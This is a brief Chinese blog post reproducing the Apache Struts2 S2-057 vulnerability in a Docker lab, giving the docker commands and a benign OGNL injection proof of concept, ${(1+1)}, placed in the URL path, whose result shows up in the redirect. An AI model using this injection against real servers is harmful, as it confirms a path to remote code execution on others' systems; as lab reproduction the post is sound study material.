S2-057
2018-08-24 本文已影响0人
骑猪满天飞
S2-057复现
docker镜像：
medicean/vulapps:s_struts2_s2-057
镜像拉取到本地：
docker pull medicean/vulapps:s_struts2_s2-057
启动镜像：
docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-057
-d :后台运行容器，并返回容器ID；
-p:端口映射，格式为：主机(宿主)端口:容器端口
图1
POC:
${(1+1)}
访问：http://IP/${(1+1)}/actionChain1.action
得到执行结果返回在url中：
http://IP/2/register2.action
图2
